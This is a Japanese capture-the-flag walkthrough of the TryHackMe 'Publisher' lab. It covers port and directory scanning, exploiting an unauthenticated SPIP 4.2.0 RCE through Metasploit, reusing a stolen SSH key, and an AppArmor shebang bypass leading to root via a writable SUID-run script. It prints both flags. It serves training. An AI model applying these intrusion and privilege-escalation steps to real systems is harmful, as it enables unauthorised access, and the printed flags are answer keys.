【TryHackMe】Publisher：Walkthrough

# 概要

TryHackMe「Publisher」のWalkthroughです。

https://tryhackme.com/r/room/publisher

# Task1

## **Q1**.*What is the user flag?*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.45.158 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|

Webサイトを確認できました。
`SPIP`というインターネット出版システムのコミュニティサイトのようです。
言語は`PHP`が使用されています。

https://www.spip.net/ja_article2939.html

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f4511d07-7751-63bb-f330-39abb27064a1.png)

ディレクトリの列挙を行います。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.45.158/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 240ms]
[INFO] Adding a new job to the queue: http://10.10.45.158/images/FUZZ
                        [Status: 200, Size: 8686, Words: 1334, Lines: 151, Duration: 243ms]
spip                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 239ms]
[INFO] Adding a new job to the queue: http://10.10.45.158/spip/FUZZ
                        [Status: 200, Size: 8686, Words: 1334, Lines: 151, Duration: 238ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 238ms]
[INFO] Starting queued job on target: http://10.10.45.158/images/FUZZ
                        [Status: 200, Size: 3037, Words: 157, Lines: 27, Duration: 245ms]
                        [Status: 200, Size: 3037, Words: 157, Lines: 27, Duration: 239ms]
[INFO] Starting queued job on target: http://10.10.45.158/spip/FUZZ
                        [Status: 200, Size: 8133, Words: 447, Lines: 186, Duration: 250ms]
local                   [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/local/
vendor                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/vendor/
config                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/config/
tmp                     [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 237ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/tmp/
LICENSE                 [Status: 200, Size: 35147, Words: 5836, Lines: 675, Duration: 239ms]
IMG                     [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 241ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/IMG/
ecrire                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/ecrire/
                        [Status: 200, Size: 8133, Words: 447, Lines: 186, Duration: 250ms]
prive                   [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/prive/
```

`/spip`へアクセスすることが出来ました。

![spip root page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/67bfc235-997b-4836-4073-35d8e37606e1.png)

GitLabのリポジトリからファイル構成がわかったのでアクセスしてみるとディレクトリ構成を確認できました。

https://git.spip.net/spip/spip/-/tree/master?ref_type=heads

![apache opendir.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/715c3f08-42fd-9eaf-b1a7-df099d6b9e1e.png)

`/spip/local/config.txt`へアクセスすると`spip 4.2.0`のバージョンであると確認できました。

```/spip/local/config.txt
Composed-By: SPIP @ www.spip.net + spip(4.2.0),aide(3.1.0),archiviste(2.2.0),compagnon(3.1.0),dump(2.1.0),images(4.1.0),forum(3.1.0),mediabox(3.1.0),mots(4.1.0),plan(4.1.0),porte_plume(3.1.1),revisions(3.1.0),safehtml(3.1.0),sites(4.1.0),stats(3.1.1),tw(3.1.1),urls(4.1.0),iterateurs(1.0.6),queue(0.6.8),jquery(3.6.3),csstidy(1.15.1),minidoc(1.0.3),ordoc(1.1.2),mejs(4.2.7),bigup(3.2.1),compresseur(2.1.1),medias(4.1.0),svp(3.1.1)
```

脆弱性を検索するとRCEの脆弱性がヒットしました。

```
$ searchsploit spip 4.2.0
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
SPIP v4.2.0 - Remote Code Execution (Unauthenticated)                              | php/webapps/51536.py
----------------------------------------------------------------------------------- ---------------------------------
```

Metasploitでセッションを確立できました。

![metasp.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bebe941e-9efc-9a4e-405d-819e6d793946.png)

```
meterpreter > pwd
/home/think/spip/spip
```

`/home/think/user.txt`からユーザーフラグを入手できます。

```
> cat /home/think/user.txt
fa229046d44eda6a3598c73ad96f4ca5 
```

**A**.**fa229046d44eda6a3598c73ad96f4ca5**

## **Q2**.*What is the root flag?*

**Hint**.*Look to the App Armor by it's profile.*

`/home/think/.ssh/id_rsa`で`think`アカウントのSSHプライベートキーを見つけました。
ローカルに保存し、SSH接続に成功しました。

```
$ ssh -i id_rsa think@10.10.72.161
think@publisher:~$
```

ヒントからも分かるようにこのマシンには`AppArmor`が導入されています。

```
$ ls -l /etc/ | grep apparmor
drwxr-xr-x 3 root root       4096 Dec  8  2023 apparmor
drwxr-xr-x 8 root root       4096 Feb 12 20:19 apparmor.d
```

`AppArmor`はファイルへのアクセス制御などができるセキュリティモジュールの一種です。

https://ja.wikipedia.org/wiki/AppArmor

SUIDビットが設定されたプログラムを検索すると`/usr/sbin/run_container`というプログラムを発見しました。

```
$ find / -user root -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/sbin/run_container
(省略)
```

試しに実行してみると`/opt/run_container.sh`のプログラムでエラーが出ているのでこのスクリプトファイルを実行していると分かりました。

```
$ /usr/sbin/run_container    
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 2 hours
Enter the ID of the container or leave blank to create a new one:
/opt/run_container.sh: line 16: validate_container_id: command not found                                       
OPTIONS:                             
1) Start Container                              
2) Stop Container                                    
3) Restart Container                            
4) Create Container                                        
5) Quit
```

`/opt/run_container.sh`の中身を書き換えることでrootアカウントのシェルを取得できそうです。
ファイルの変更を試しましたが、権限が与えられているのに失敗しました。

```
$ ls -l /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Jan 10 12:40 /opt/run_container.sh
$ echo "/bin/bash -i" > /opt/run_container.sh
ash: /opt/run_container.sh: Permission denied
```

これは`AppArmor`によりファイルへのアクセス制御がされているからです。

これは現在使用している`ash`シェルへ適用されているルールです。

```
$ echo $SHELL
/usr/sbin/ash
$ cat /etc/apparmor.d/usr.sbin.ash 
#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}
```

このことから`ash`シェルでは`/opt`配下への書き込み権限がないと分かります。
しかし、`/var/tmp/~`配下へは書き込みできると分かりました。

:::note info
仮に`/var/tmp`配下へも制限するなら`deny /var/tmp/** w`と指定する必要があります。
:::


```
think@publisher:/var/tmp$ touch test
think@publisher:/var/tmp$ ls -l
-rw-rw-r-- 1 think think       0 Jul  2 10:13 test
```

HackTricksで紹介されているテクニックを利用してシェルを変更します。

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/apparmor?source=post_page-----c9e1f8a352fb--------------------------------#apparmor-shebang-bypass

```
$ echo '#!/usr/bin/perl
> use POSIX qw(strftime);
> use POSIX qw(setuid);
> POSIX::setuid(0);
> exec "/bin/sh"' > /var/tmp/test.pl
$ chmod +x /var/tmp/test.pl
$ /var/tmp/test.pl
$ echo $0
/bin/sh
```

`/opt/run_container.sh`に`/bin/bash -p`を追加します。

:::note info
`-p`オプションを使用すると特権モードでシェルを起動できます。
:::

```
$ vi /opt/run_container.sh
```

```/opt/run_container.sh
#!/bin/bash

/bin/bash -p # 追加

# Function to list Docker containers
list_containers() {
    if [ -z "$(docker ps -aq)" ]; then
        docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef;
    fi
    echo "List of Docker containers:"
    docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}"
    echo ""
}
(省略)
```

`/usr/sbin/run_container`を実行するとrootのシェルを取得できました。

```
$ /usr/sbin/run_container 
bash-5.0# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```
bash-5.0# cat /root/root.txt
3a4225cc9e85709adda6ef55d6a4f2ca
```

**A**.**3a4225cc9e85709adda6ef55d6a4f2ca**